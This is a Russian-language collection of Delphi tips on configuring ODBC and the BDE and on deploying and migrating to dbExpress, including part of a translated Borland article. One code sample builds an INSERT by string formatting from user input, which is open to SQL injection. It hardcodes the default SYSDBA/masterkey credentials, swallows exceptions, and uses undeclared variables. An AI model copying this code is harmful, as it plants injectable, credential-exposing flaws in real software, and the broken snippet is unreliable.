A) ODBCINST.INI - описание всех установленных драйверов ODBC

Секция [ODBC Drivers] в каждой строчке описывает один драйвер. Здесь прописано формальное имя драйвера, использующегося позже для идентификации драйвера.

Каждый драйвер, как вы увидите позже, имеет собственную секцию, к примеру, вот секция для Watcom :

{1} [Watcom SQL 4.0]
{2} Driver=D:\WIN31\SYSTEM\WOD40W.DLL
{3} Setup=D:\WIN31\SYSTEM\WOD40W.DLL
Строка 1 содержит имя секции драйвера из [ODBC Drivers].
Строка 2 сообщает Windows о том, где следует искать DLL, содержащую методы, применяемые ODBC для доступа к базам данных Watcom.
Строка 3 сообщает Windows о том, где следует искать DLL, содержащую методы, применяемые ODBC для административных целей.
Все, что имеется в файле ODBCINST.INI - теперь содержится в файле #2 (таком же легком для изучения):

B) ODBC.INI - описание всех ваших баз данных (источников данных, говоря языком ODBC)

Секция [ODBC Data Sources] в каждой строчке описывает одну базу данных; формат:
{описание базы данных} = {описание драйвера из ODBCINST.INI}
Данный файл сообщает ODBC, к каким базам данных вы хотите иметь доступ и какой драйвер для каждой конкретной базы данных для этого необходим.

Каждая база данных, как вы увидите позже, имеет собственную секцию, к примеру, вот секция PB Demo:

{1} [Powersoft Demo DB=Watcom SQL 4.0]
{2} DatabaseFile=E:\PB4\EXAMPLES\PSDEMO.DB
{3} DatabaseName=PSDEMODB
{4} UID=dba
{5} PWD=sql
{6} Driver=D:\WIN31\SYSTEM\WOD40W.DLL
{7} Start=D:\WSQL40\DBSTARTW -d -c512
Строка 1 содержит ссылку на секцию [ODBC Data Sources].
Строка 2 содержит физический путь к файлу базы данных.
Строка 3 - описание, только для вашего чтения.
Строка 4 - User ID, которое Watcom применяет для установления связи.
Строка 5 - Пароль, используемый для установления соединения.
- Это не очень секретно; если вы оставите эту строку пустой, Watcom сам спросит пароль при получении доступа к базе данных.
Строка 6 содержит имя драйвера (снова - сравните с OBDCINST.INI)
Строка 7 содержит имя движка базы данных для ее запуска (это необходимо лишь для баз данных SQL, например, в версии Client / Server).
Все это может быть отредактировано как вручную (в любом текстовом редакторе), так и в ODBCADM (ODBC Administration). Что касается меня лично, то я более не использую ODBCADM; я ощущаю себя гораздо лучше, если имею больший контроль над INI-файлами, редактируя строки вручную.

Структура секций в файле ODBC.INI может отличаться для разных драйверов, поэтому вам необходимо научиться ориентироваться по ключевым словам, описанным выше.

Предупреждение: весь опубликованный мною материал получен путем моих собственных исследований, вследствие чего я не могу гарантировать его достоверность. По крайней мере я успешно использую его для получения доступа к ODBC уже более года.

Взято с http://delphiworld.narod.ru


Конфигурирование ODBC

Автор: Mark Nelson (Delphi Tech Support)

Представляю вашему вниманию инструкцию по конфигурированию ODBC и источника данных.

Для того, чтобы Borland Database Engine мог пользоваться драйверами ODBC, они должны быть сконфигурированы следующим образом:

Инсталлируйте драйвер и установите его в Панель Управления/ODBC administrator.
Если это файл базового драйвера типа dBase, Paradox, Excel, FoxPro и др., то вы должны указать каталог, содержащий ваши файлы.
Access и Local Btrieve файлы должны указывать на конкретный файл базы данных (Btreive на File.ddf, Access должен указывать на файл с расширением .MDB).
Если это линк (connection) к базе данных, например Oracle, Sybase, Interbase, и др., вы должны указать на этот линк. Обычно транспорт посредством TCPIP, SPX/IPX, NetBEUI и т.п. предусматривается поставщиком программного обеспечения. Каждый драйвер работает с транспортным протоколом по-своему.
Запустите Database Engine Configuration Utility. (BDECFG.EXE)
Выберите New ODBC Driver.
Задайте имя вашему драйверу (к имени автоматически добавится "ODBC_".)
Выберите ваш ODBC Driver из списка Default ODBC Driver List.
Выберите имя источника данных по умолчанию.
Создайте псевдоним (alias), указывающий на установленный вами драйвер.
Установите ссылку с именем псевдонима на ваш драйвер.
Примечание относительно баз данных Access 2.0: вам необходимо иметь самые последние драйверы от Microsoft. Имеющиеся драйверы позволяют работать только с базами данных Access 1.0, не выше.
Стоимость нового набора драйверов у самой Microsoft составляет $10, что эквивалентно цене носителя и пересылки.

Для работы с Access 2.0 вам необходимо использовать источник данных с именем "Microsoft Access Driver" или "Microsoft Access 2.0 Databases".

Имейте в виду, что "Access Data" и "Access Files" по умолчанию являются источниками данных только для Access 1.0. Поэтому для получения доступа к MDB-файлам Access 1.0 пользуйтесь "Access Data".

Btrieve также создает источник данных по умолчанию "Btrieve Data" и "Btrieve Files". Используйте "Btrieve Data" как ваш источник данных по умолчанию. Драйверы Btrieve позволяют использовать данные btrieve вплоть до версии 5.0. Для работы с Btrive данными более новой версии, необходим новый набор драйверов Microsoft или Intersolve Q+E.

Взято с http://delphiworld.narod.ru


Конфигурирование ODBC и псевдонима

Настройка ODBC в Панели Управления
При инсталляции, Delphi устанавливает в Панель Управления апплет "ODBC" (далее - "настройка ODBC"). "Настройка ODBC" содержит доступные источники данных (драйвера), установленных для использования ODBC. Как вы можете видеть на главной странице "Data Sources", ODBC содержит внушительный набор форматов, которые могут использоваться в Delphi. Дополнительные форматы поддерживаются установленными драйверами и могут быть добавлены с помощью кнопки "Add...".
Для добавления нового или удаления существующего драйвера:
В окне "Data Sources" нажмите кнопку "Drivers...". В появившемся диалоговом окне "Drivers" нажмите кнопку "Add..." и укажите путь к новому драйверу ODBC.
Возвратитесь в окно "Data Sources" и добавьте доступные с новым драйвером источники данных с помощью кнопки "Add...".
Для настройки конкретного источника данных используйте кнопку "Setup...". Функция кнопки "Setup..." меняется с каждым форматом данных. Частенько настройки типа рабочей директории для драйвера настраиваются как раз в этом месте.
Разделы электронной справки доступны для каждой страницы и диалогового окна "Настроки ODBC".
BDE CONFIGURATION UTILITY
После установки драйвера ODBC, запустите BDE Configuration utility для конфигурации BDE для работы с новым драйвером.
На странице драйверов нажмите на кнопку "New ODBC driver".
Появится диалог с заголовком "Add ODBC driver". Опция "SQL link driver" позволяет выяснить, с какими типами баз данных можно работать с помощью данного драйвера ODBC.
Затем выбирайте default ODBC driver (драйвер ODBC по-умолчанию). Выпадающий список содержит список типов файлов, поддерживаемых установленными в системе драйверами ODBC.
Выберите для ODBC-драйвера источник данных по-умолчанию (default data source). Имея уже установленный на шаге 3 драйвер ODBC, список этого combobox'а будет содержать имена источников данных, подходящих для использования с выбранным драйвером.
Нажмите Ok.
Возвратитесь на страницу драйверов, выберите File/Save из главного меню и сохраните данную конфигурацию.
Создание псевдонима в DATABASE DESKTOP
Хотя создать псевдоним ODBC можно и из BDE Configuration utility, Database Desktop предоставляет более комфортное решение.
В меню "File" выберите пункт "Aliases..".
В появившемся диалоге "Alias Manager" нажмите кнопку "New".
Введите имя вашего нового псевдонима в поле редактирования, помеченной как "Database Alias".
Используя выпадающий список "Driver Type" (типы драйверов), выберите драйвер, подходящий для данного псевдонима. Таблицы Paradox и dBase считаются STANDARD. Если в BDE Configuration utility драйвер ODBC был правильно сконфигурирован, то его имя появится в списке.
Дополнительные опции опции могут появляться в зависимости от выбранного типа драйвера.
После завершения всех описанных действий сохраните новый псевдоним, выбрав "Keep New". Затем нажмите "Ok". Появится подсказка, спрашивающая о необходимости сохранения псевдонима в IDAPI.CFG. Выберите "Ok".
Теперь псевдоним будет работать и в Database Desktop, и в Delphi.

Взято с http://delphiworld.narod.ru


Получение дескриптора ODBC соединения

Я как-то обращал ваше внимание на трудность получения дескриптора ODBC соединения посредством DBE. После тесного общения со службой поддержки Borland, я наконец нашел решение как это сделать. Вот этот код:

unit Getprop;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, DBGrids, StdCtrls, DB, DBTables,
  DBIProcs, DBITypes, DBIErrs;

type
  TForm1 = class(TForm)
    Table1: TTable;
    DataSource1: TDataSource;
    Button1: TButton;
    Button2: TButton;
    DBGrid1: TDBGrid;
    Edit1: TEdit;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Table1.active := True;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  hTmpDB: hDBIDb;
  iLen: word;

begin
  Check(DbiGetProp(hDBIObj(Table1.DBhandle), dbNATIVEHNDL, @hTmpDB, sizeof(hDBIDb), iLen));
  Edit1.text := inttostr(longint(htmpdb));
end;

end

- Chris Fioravanti
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Получаем имена ODBC-источников

uses Registry;

procedure TForm1.GetDataSourceNames(System: Boolean);
var
  reg: TRegistry;
begin
  ListBox1.Items.Clear;

  reg := TRegistry.Create;
  try
    if System then
      reg.RootKey := HKEY_LOCAL_MACHINE
    else
      reg.RootKey := HKEY_CURRENT_USER;

    if reg.OpenKey('\Software\ODBC\ODBC.INI\ODBC Data Sources', False) then
    begin
      reg.GetValueNames(ListBox1.Items);
    end;

  finally
    reg.CloseKey;
    FreeAndNil(reg);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  //Системные DSNs
  GetDataSourceNames(True);
  //Пользовательские DSNs
  GetDataSourceNames(False);
end;

Взято с http://delphiworld.narod.ru


Добавление ODBC-драйверов в Delphi

Минимальные требования, необходимые для установки драйвера ODBC в Delphi 3.0, заключаются в наличие следующих компонентов:

        Microsoft ODBC Manger
        Windows 95 или NT
        Delphi версии Developer или Client/Server
        Поставляемый производителем драйвер ODBC (уже установленный в вашей системе)
При использовании Delphi 3.0 есть два общих метода добавления ODBC драйверов к BDE. Первым шагом при использовании любого из методов является установка постовляемого производителем драйвера ODBC в вашу систему. После этого достаточно сложного шага остальные шаги будут не такими сложными. В левой панели менеджера BDE расположен список драйверов и источников данных, которые прежде были ориентированы на использование с приложениями BDE.
Метод A:

Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.)

Теперь в главном меню выберите пункт Object|ODBC administrator. (будет показан спискок установленных в настоящий момент драйверов.)

Нажмите Add, выберите ODBC драйвер, для которого вы хотели бы создать источник данных, и нажмите на OK.

Затем заполните необходимую для вашего драйвера информацию. (Минимальная конфигурация требует заполнения поля Data Source Name. Вам необходимо будет заполнить по крайней мере еще одно поле, описывающее месторасположение данных. В случае таблиц Paradox и dBase это будет поле "Path" (путь), или поле "Server" (сервер) в случае конфигурирования драйвера ODBC для Interbase ODBC. Если вы используете Interbase, вы должны указать путь к файлу .GDB, если вы пользуетесь файлами Paradox или dBASE, вы должны определить месторасположение каталога с таблицами, и, наконец, если вы используете Oracle, вы указать строку, расположенную в вашем файле TNSNAMES.ORA. После того как вы это сделаете, можно считать, что виртуальный драйвер вами создан, и вы можете получить доступ к вашим файлам с базами данных через созданный вами источник данных.)
Метод B:
Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.)

Щелкните на закладке database, затем правой кнопкой мыши на левой панели.

Щелкните в контекстном меню на пункте New, выберите тип ODBC драйвера, который вы хотите добавить, и нажмите на кнопку OK.

Снова щелкните правой кнопкой на панели database, и в появившемся контекстном меню выберите Apply.

Теперь на панели definition вы должны выбрать правильный ODBC DSN (Data Source Name, имя источника данных) и нажать apply.
Оба этих метода заканчиваются способностью Delphi с помощью TDataset перехватывать живые данные.
Вы, возможно, обратили внимание на новые опции в меню Object|Options, эти опции позволяют вам выбирать для просмотра различные режимы конфигурации. Желательно в панели View в группе Select Configuration Modes включить (отметить галочками) все выключатели. При всех включенных checkbox-ах вы получите в свое распоряжение расширенный список всех драйверов и псевдонимов, доступных вам для использования. Если галочка напротив 'virtual' отсутствует, вы не сможете увидеть драйверы, добавленные через менеджер MS ODBC, а увидете драйверы, установленный только с помощью BDE (в соответствии с методом 2).

Взято с http://delphiworld.narod.ru


Работа с DBExpress

Cодержание раздела:

Развертывание приложения, использующего dbExpress
Создание DBExpress-Connection в Run-Time
Перенос приложений с BDE на dbExpress (статья) New!
Технология dbExpress (статья) New!
Создание DBExpress соединения в Runtime New!

См. также статьи в других разделах:
Kylix Tutorial. Работа с DBExpress (статья)
Использование SQLMonitor (DBExpress)
Accessing InterBase via dbExpress with Kylix produces error: Unable to load libgds.so
Работа с клиентскими наборами данных (DBExpress)


Развертывание приложения, использующего dbExpress

Автор: Андрей Пащенко
Специально для Королевства Delphi

Начиная с Delphi 6 в палитре компонентов появилась новая закладка dbExpress. В настоящее время данные "кирпичики" широко используются в приложения для доступа к различным базам данных. Однако развернув готовое приложение на компьютере, без установленной Delphi, разработчик недоумевает о неработоспособности приложения. Возникает резонный вопрос: ЧТО ДЕЛАТЬ?

Согласно справочной системе Delphi корректную работу вашего приложения в операционной системе Windows можно обеспечить двумя способами: в виде одного exe файла, либо используя дополнительные DLL библиотеки.

Первый способ - единый exe файл

Все что необходимо сделать для нормальной работы вашего приложения это добавить в оператор USES ссылку на три DCU файла, находящихся в директории Lib (по умолчанию C:\Program Files\Borland\Delphi6\Lib\).

Первый файл имеет имя Crtl. Ссылку на него необходимо добавлять всегда, когда в приложении используется dbExpress и планируется обойтись без дополнительных DLL.

Если в программе используются классы TSQLClientDataSet, TClientDataSet или их потомки, возникает необходимость добавления ссылки на файл MidasLib.

В зависимости от используемого SQL сервера в оператор USES необходимо добавить:

для MySQL - dbExpMy (в случае установленного Service Pack 2 - dbExpMySQL);
для InterBase - dbExpInt;
для Oracle - dbExpOra;
для DB2 - dbExpDb2
Второй способ - применение дополнительных DLL.

Работу механизма dbExpress в программе выполняют две библиотеки. Их имена совпадают с именами DCU файлов.

При наличии в устанавливаемом приложении классов TSQLClientDataSet, TClientDataSet или их потомков необходимо наличие файла Midas.dll.

Вторая DLL обеспечивает связь с конкретным SQL сервером:

для MySQL - dbexpmy.dll (в случае установленного Service Pack 2 - dbExpMySQL.dll);
для InterBase - dbexpint.dll;
для Oracle - dbExpOra.dll;
для DB2 - dbExpDb2.dll
Все дополнительные библиотеки должны находится либо в директории вашей программы, либо в директориях указанных в переменной PATH. Например: C:\Windows\SYSTEM\ или C:\Winnt\SYSTEM32\

Независимо от выбранного способа вам вероятно потребуется и дополнительная DLL для доступа к серверу, которую можно найти в дистрибутиве используемого вами SQL сервера (например для MySQL это файл libmySQL.dll).

Что же выбрать?

В череде экспериментов in vitro (т.е. в искусственных условиях) были выявлены только два различия.

Различие №1. Размеры распространяемого приложения.

Если вы обходитесь без дополнительных DLL библиотек, то ваш exe файл увеличивается в размере.

Приложение для тестов:

Тестовый пример состоял из формы на которой размещены два не визуальных компонента: TSQLConnection, TSQLClientDataSet. Компоненты настроены для работы с SQL сервером MySQL. Все настройки компиляции установлены по умолчанию.

Размер EXE файла без дополнительных DLL больше после компилирования на 245248 байта (239,5 Кб). В то же время суммарный размер одного приложения без дополнительных DLL меньше на 140800 байта (137,5 Кб) (табл. 1).

Таблица 1. Размеры распространяемых файлов для приложения использующего dbExpress для доступа к SQL серверу

Тип файла Размер файлов необходимых для приложения без дополнительных DLL(байты) Размер файлов необходимых для приложения с дополнительными DLL(байты)
Исполняемый файл 985600 740352
Дополнительные DLL
для MySQL - dbexpmysql.dll - 92160
Midas.dll - 293888
ИТОГО 985600 1126400

Таким образом если на компьютере используется больше, чем одно приложение, то выгода от использования дополнительных DLL очевидна.

Различие №2. Реестр Windows.

Если приложение использует дополнительные DLL, то при первом запуске приложения в реестре добавляются ссылки на файл Midas.dll. (см. файл MidasReg.zip).

При перемещении или удалении файла из данного места все приложения использующие Midas.dll перестают работать. Для восстановления работоспособности приходится вручную удалять данные записи из реестра.

Приемлемым выходом из данной ситуации можно считать размещение данной библиотеки в системной директории Windows (C:\Windows\SYSTEM\ или C:\Winnt\SYSTEM32\).

Если приложение распространяется без Midas.dll или dbExpress используется в DLL, то данных изменений в реестре на наблюдается.

Таким образом если необходимо избежать "мусора" в реестре, то необходимо подготовить ваше приложения к работе без дополнительных DLL.

Взято с http://delphiworld.narod.ru


Создание DBExpress-Connection в Run-Time

procedure TVCLScanner.PostUser(const Email, FirstName, LastName: WideString);
var
  Connection: TSQLConnection;
  DataSet: TSQLDataSet;
begin
  Connection := TSQLConnection.Create(nil);
  with Connection do
  begin
    ConnectionName := 'VCLScanner';
    DriverName := 'INTERBASE';
    LibraryName := 'dbexpint.dll';
    VendorLib := 'GDS32.DLL';
    GetDriverFunc := 'getSQLDriverINTERBASE';
    Params.Add('User_Name=SYSDBA');
    Params.Add('Password=masterkey');
    Params.Add('Database=milo2:D:\frank\webservices\umlbank.gdb');
    LoginPrompt := False;
    Open;
  end;
  DataSet := TSQLDataSet.Create(nil);
  with DataSet do
  begin
    SQLConnection := Connection;
    CommandText := Format('INSERT INTO kings VALUES("%s","%s","%s")',
      [Email, FirstN, LastN]);
    try
      ExecSQL;
    except
    end;
  end;
  Connection.Close;
  DataSet.Free;
  Connection.Free;
end;

Взято с http://delphiworld.narod.ru


Перенос приложений с BDE на dbExpress (статья)

Перенос приложений с BDE на dbExpress

by Bill Todd, President, The Database Group, Inc.
for Borland Software Corporation
September 2002
Перевод: by KDV (www.ibase.ru), ноябрь 2002. С разрешения Borland.
оригинал статьи: http://community.borland.com/article/images/29106/migrating_bde_applications_to_dbexpress.pdf

Содержание
1. Borland dbExpress
2. Архитектура dbExpress
3. Как работает архитектура provider/resolver
4. Создание приложений на dbExpress
5. BDE против dbExpress
6. Перенос клиент-серверного приложения BDE на dbExpress
7. Перенос локальных приложений BDE на dbExpress
8. Итог
9. Об авторе

Borland dbExpress
Прошлые попытки создать универсальный интерфейс для разнообразных БД имели ряд проблем. Одни решения были очень большими, медленными и сложными для распространения, потому что они пытались взять на себя слишком много. Другие предлагали подход "наименьшего общего знаменателя", что не позволяло разработчикам использовать специфические особенности конкретной базы данных. Третьи предлагали комплексный подход с написанием драйверов, получая в результате ограниченную функциональность, низкую скорость или большое количество ошибок.
Borland dbExpress преодолевает эти проблемы, комбинируя новый подход к предоставлению общего API для разных баз данных с проверенной технологией Borland provider/resolver для управления работой с данными. В этом документе рассматривается архитектура dbExpress и механизм provider/resolver, демонстрируется пример создания приложений на компонентах dbExpress, и объясняется процесс переноса на dbExpress приложений, использующих BDE.

Архитектура dbExpress
dbExpress был разработан, чтобы решить следующие 6 задач
· минимизировать объем и количество используемых ресурсов
· получить максимальную скорость работы
· обеспечить кросс-платформенность
· обеспечить легкость распространения
· обеспечить легкость разработки драйверов
· дать разработчику больше управления памятью и сетевым трафиком
Драйверы dbExpress небольшие по объему и быстрые, потому что они обеспечивают достаточно небольшую функциональность. Каждый драйвер выполнен в виде dll (на платформе Windows) или как so (shared library на Linux). Драйвер dbExpress предоставляет пять интерфейсов для выборки метаданных, выполнения операторов SQL и хранимых процедур, и возможность чтения записей из выборки в одном направлении (unidirectional cursor). В это же время, при использовании с DataSetProvider и ClientDataSet, dbExpress предоставляет полнофункциональную, высокопроизводительную, многопользовательскую систему для работы с SQL-серверами баз данных.

Как работает архитектура provider/resolver
Архитектура provider/resolver использует четыре компонента для предоставления данных и их редактирования. Первый компонент - SQLConnection - предназначен для установления соединения между драйвером dbExpress и используемым сервером БД. Дальше идут компоненты, которые предоставляют доступ к данным, получаемым оператором SELECT или вызовом хранимых процедур. Третий компонент - DataSetProvider, и четвертый - ClientDataSet. Когда вы открываете ClientDataSet, он запрашивает данные у DataSetProvider. DataSetProvider открывает компонент, выполняющий запрос или хранимую процедуру, выбирает данные, закрывает этот компонент, и поставляет данные (и необходимые метаданные) компоненту ClientDataSet.
ClientDataSet хранит данные в памяти, пока они просматриваются и модифицируются. При добавлении, удалении или обновлении записи, в коде или через пользовательский интерфейс, компонент ClientDataSet запоминает эти операции в памяти. Для обновления базы данных нужно вызвать метод ClientDataSet.ApplyUpdates. ApplyUpdates передает изменения компоненту DataSetProvider. Провайдер стартует транзакцию, затем создает и выполняет операторы SQL, соответствующие произведенным операциям над данными ClientDataSet. Если все операторы SQL были выполнены успешно, провайдер завершает транзакцию по commit; если нет - отменяет транзакцию по rollback. Изменения в базе данных могут не пройти, например, если изменения нарушают правила контроля данных, или если другой пользователь уже модифицировал эти данные определенным образом. При возникновении ошибки транзакция отменяется по rollback, и вызывается событие ClientDataSet.OnReconcileError, предоставляя вам возможность обработки ошибок.

Преимущества архитектуры provider/resolver
Короткое время жизни транзакций
Долгие транзакции заставляют сервер БД удерживать блокировки, которые снижают возможности многопользовательской обработки данных и отнимают ресурсы сервера. При архитектуре provider/resolver, транзакция существует только в тот момент, когда применяются обновления. Это существенно снижает требования к ресурсам и уменьшает вероятность блокировок, особенно при большом количестве пользователей сервера БД.
Дает возможность редактировать любые записи
Записи, возвращаемые многотабличными выборками, хранимыми процедурами или нередактируемыми view не могут быть изменены напрямую. Вы можете указать при помощи свойства ProviderFlags у объектов TField, какие столбцы должны обновляться, и в событии DataSetProvider.OnGetTableName - какая именно таблица должна обновляться. При этом большинство нередактируемых данных станут редактируемыми.
Быстрая сортировка и поиск
Поскольку ClientDataSet хранит записи в памяти, они могут быть быстро отсортированы. Если сортировка в памяти работает медленно, вы можете создать индексы над данными ClientDataSet либо во время разработки, либо во время выполнения приложения. Эти индексы в памяти помогут менять порядок записей или искать записи очень быстро, без использования индексов в базе данных.
Автоматическое агрегирование
ClientDataSet может выполнять автоматически определяемые вами сложные вычисления, такие как Sum(Price) -Sum(Cost). Вы можете группировать вычисления сумм по полю или комбинации полей. Вы также можете использовать агрегаты Min, Max, Count и Avg.
Просмотр подмножества данных
Выражения фильтрации могут использовать синтаксис WHERE для отображения подмножества записей ClientDataSet, без необходимости конструировать запрос на клиенте и отправлять его каждый раз на сервер.
Множество видов данных
Возможность "клонировать" курсор ClientDataSet позволяет просматривать одни и те же данные различными способами, одновременно. Например, можно просматривать одни и те же данные, отсортированные по разным столбцам.
Вычисляемые столбцы на клиенте
Также вы можете добавлять вычисляемые столбцы к ClientDataSet во время разработки, для того чтобы вычисляемые столбцы стали частью данных в памяти. Поскольку вычисления производятся скомпилированным Delphi или C++ кодом, они выполняются очень быстро и могут быть более сложными, чем вычисления, производимые на сервере в COMPUTED BY столбцах.
Ограничение, которого нет
Может показаться, что у хранения записей в памяти есть ограничение по количеству таких записей, с которыми можно работать. Однако вспомните обычную схему клиент-сервер - приложения разрабатываются таким образом, чтобы выбирать небольшой объем данных для минимизации сетевого трафика и загрузки сервера БД. Даже если нужно работать с необычно большим количеством записей, помните что 10 тысяч записей, каждая по 100 байт, занимают 1 мегабайт памяти. В случаях, когда объем данных действительно большой, компоненты ClientDataSet и DataSetProvider имеют свойства и события, которые позволяют выбирать часть записей, редактировать их, удалять из памяти и затем получать новую порцию записей.
Легкость распространения
Приложения, использующие dbExpress, для работы требуют две DLL. Первая dll - драйвер dbExpress, например DBEXPINT.DLL для Interbase, и вторая - MIDAS.DLL, библиотека поддержки ClientDataSet. Вместе эти две DLL занимают менее чем 500 килобайт. Это минимизирует размер приложения и упрощает его установку. Если вы не хотите распространять эти DLL, вы можете вкомпилировать их прямо в EXE приложения. Распространение на Linux то же самое, за исключением того, что библиотеки имеют расширение .so, а не .dll.
Легкость создания драйвера
Драйверы dbExpress должны реализовывать пять интерфейсов, которые описаны в онлайновой справке. Borland также поставляет исходный текст драйвера для MySQL в качестве примера. Это существенно снижает затраты производителей СУБД на создание высокопроизводительных драйверов. Вы можете создать свой собственный драйвер, если вы работаете с необычной или устаревшей базой данных, для которой нет доступных коммерческих драйверов.

Создание приложений на dbExpress
Перед тем как переносить существующие BDE-приложения на dbExpress, вы должны уметь работать с компонентами dbExpress. В этом разделе мы создадим приложение dbExpress, шаг за шагом, с описанием каждого используемого компонента. Этот пример создан в Delphi на Windows (или C++Builder), но шаги идентичны при работе с Kylix на Linux.
Приложение будет использовать базу данных примеров EMPLOYEE.GDB и отображать отношение один ко многим между таблицами Employee и Salary History. Приложение демонстрирует следующие возможности dbExpress:
· вложенность таблицы деталей в поле главной таблицы
· редактирование данных через SQLQuery, DataSetProvider, и ClientDataSet
· использование SQLQuery как источника данных только для чтения без DataSetProvider и ClientDataSet
· применение изменений, накопленных ClientDataSet, к базе данных
· обработка ошибок при применении изменений к базе данных

Компонент SQLConnection
Для создания простого приложения dbExpress, начнем со следующих шагов
1. Создайте новое приложение и добавим data module. Назовем модуль данных MainDm
2. Используйте окно Project Options, для того чтобы убедиться, что модуль создается автоматически перед созданием главной формы
3. Поместите компонент SQLConnection с закладки dbExpress на модуль данных
4. Назовите компонент SQLConnection как EmployeeConnection и установите его свойство DriverName в Interbase
5. Откройте редактор свойств Params и установим параметр Database в путь к EMPLOYEE.GDB
6. Измените значения свойств UserName и Password на нужные
7. Установите свойство LoginPrompt в False, чтобы не появлялось окно запроса имени пользователя и пароля при старте программы
8. Установите свойство Connected в True для проверки соединения, и обратно в False
Компонент SQLConnection обеспечивает соединение с базой данных для любого количества компонент. Вы можете использовать несколько SQLConnection для подсоединения к нескольким базам данных одновременно.
Существует три способа осуществить соединение с базой данных: использовать существующий алиас, создать новый "алиас" или записать параметры соединения прямо в SQLConnection.Properties.
Для создания нового соединения сделайте двойной клик мышью на компоненте SQLConnection, при этом откроется окно Connection Editor. С левой стороны показываются созданные ранее алиасы. Список выбора Driver Name позволяет отфильтровывать нужные алиасы по типам серверов. Сетка Connection Settings показывает список параметров для текущего соединения (они могут отличаться в зависимости от типа драйвера). Все алиасы, которые вы создаете, хранятся в файле dbxconnections.ini.

! если база данных на сервере имеет кодировку WIN1251, то ее нужно указать в свойстве ServerCharSet. Если на сервере в базе данных установлена поддержка кодировки KOI8R, то для Kylix более естественным будет указать ServerCharSet=KOI8R (даже если база данных имеет кодировку WIN1251).

Файл алиасов
Если вы используете именованные соединения (алиасы), то файл dbconnections.ini можно распространять со своим приложением.

Свойство Params компонента SQLConnection
При создании нового алиаса нужно выбрать тип сервера в DriverName. Список серверов хранится в файле dbxdrivers.ini. Выбор нужного сервера в DriverName установит свойства LibraryName и VendorLib в значения, соответствующие данному серверу. LibraryName содержит имя драйвера dbExpress, а VendorLib - имя клиентской библиотеки сервера.
После ввода параметров информация о соединении будет хранится внутри приложения. Если вы хотите дать возможность пользователям приложений менять эту информацию, то параметры можно сохранять в своем файле конфигурации, и редактировать его в приложении или отдельной утилитой конфигурации. Это сделает приложение самодостаточным.
У SQLConnection есть методы StartTransaction, Commit и Rollback для явного управления транзакциями. Если нужно вызывать операторы SQL, которые не возвращают набор данных (например, операторы DDL), то можно воспользоваться методами Execute или ExecuteDirect. При этом компоненты для работы с SQL не нужны. Если нужен доступ к метаданным, то вызовите методы GetTableNames, GetFieldNames и GetIndexNames компонента SQLConnection.

Компоненты DataSet
dbExpress предоставляет четыре компонента: SQLDataSet, SQLQuery, SQLStoredProc и SQLTable. SQLDataSet является универсальным для любых приложений. Установкой свойства CommandType можно выполнять операторы SQL, вызывать хранимые процедуры, или выбирать записи из запросов. Остальные компоненты DataSet созданы для имитации функциональности BDE, насколько это возможно. Использование этих компонент значительно облегчает переход с BDE.

Компонент SQLQuery
Свойства и методы компонента SQLQuery очень похожи на свойства компонента TQuery BDE. Поскольку SQLQuery возвращает только однонаправленный набор записей, свойства и методы, используемые в BDE для редактирования данных, отсутствуют. Вы можете использовать SQLQuery для выполнения SQL как операторов DML, так и DDL. Для тех операторов, которые возвращают набор записей, можно вызвать метод Open или установить свойство Active в True. Для остальных операторов используйте метод ExecSQL. Продолжим создавать наше приложение:
1. Поместите три компонента SQLQuery на модуль данных
2. установите их свойство SQLConnection в EmployeeConnection
3. Назовите первый компонент EmployeeQry, второй HistoryQry, и третий - DeptQry
4. Установите свойство SQL компонента EmployeeQry в
select * from employee
where dept_no = :dept_no
order by last_name
5. Установите свойство SQL компонента HistoryQry в
select * from salary_history
where emp_no = :emp_no
6. Установите свойство SQL компонента DeptQry в
select dept_no, department from department
order by department
7. Поместите компонент DataSource на модуль данных, установите его имя в EmpLinkSrc, а свойство DataSet - в EmployeeQry
8. Установите свойство компонента HistoryQry.DataSource в EmpLinkSrc
9. Вернитесь к EmployeeQry, откройте редактор свойства Params, и установите значение параметра dept_no в XXX. Поскольку это неверное значение, в результате не будет отображено ни одной записи, пока пользователь не введет правильный номер отдела.
10. Сделайте двойной клик на EmployeeQry, для того чтобы открыть Fields Editor. Добавьте все поля (в меню по правой кнопке add all fields)
11. Выберите столбец emp_no, свойство ProviderFlags, и установите pfInKey в True. Установка этого флага указывает на то, что столбец emp_no является первичным ключом. Компоненту DataSetProvider (который мы добавим позже) нужна эта информация для генерации операторов SQL, модифицирующих данные.
12. Выберите столбец full_name, свойство ProviderFlags, и установите pfInUpdate и pfInWhere в False. Столбец full_name является вычисляемым полем, поэтому не может быть обновлен и не нужен в условии where SQL операторов, генерируемых DataSetProvider.
13. Установите свойство Active компонента EmployeeQry в True
14. Сделайте двойной клик на HistoryQry, и в FieldEditor добавьте все поля (add all fields)
15. Выберите поле emp_no и установите pfInKey в True. Повторите то же самое для полей change_date и updater_id, т.к. все эти три поля являются первичным ключом.
16. Поле new_salary также является вычисляемым, поэтому для него тоже нужно установить pfInUpdate и pfInWhere в False
17. Установите свойство Active компонента EmployeeQry в False
18. Сделайте двойной клик на компоненте DeptQry, добавьте все поля (add all fields)
19. установите свойство Connected компонента EmployeeConnection в False

Компонент SQLTable
Этот компонент очень похож на TTable из BDE. Как и в BDE, этот компонент возвращает все столбцы и все записи из таблицы, поэтому он не очень подходит для приложений клиент-сервер. Его единственное преимущество только в том, что его использование позволяет быстро перевести на dbExpress приложения, которые используют TTable.
Для использования SQLTable нужно установить свойство SQLConnection в имя компонента SQLConnection, затем указать в TableName имя нужной таблицы, и открыть компонент методом Open или установкой свойства Active в True.

Компонент SQLStoredProc
Этот компонент предназначен для вызова хранимых процедур, и может быть использован, так же как и компонент TStoredProc BDE. Процедуры можно вызывать и компонентом SQLDataSet (и SQLQuery).
